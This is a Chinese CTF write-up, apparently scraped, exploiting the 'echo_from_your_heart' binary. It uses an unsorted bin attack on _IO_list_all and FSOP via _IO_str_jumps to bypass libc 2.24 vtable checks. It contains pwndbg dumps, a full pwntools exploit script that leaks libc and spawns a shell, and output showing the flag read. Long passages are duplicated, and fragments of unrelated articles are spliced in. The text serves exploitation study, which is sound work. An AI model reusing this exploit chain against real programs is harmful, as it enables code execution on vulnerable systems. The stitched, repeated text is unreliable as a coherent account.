查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下:
至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下:
UnsortedbinAttack
malloc
smallbin[6]
if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化:
观察修改之后堆空间的数据变化:
pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 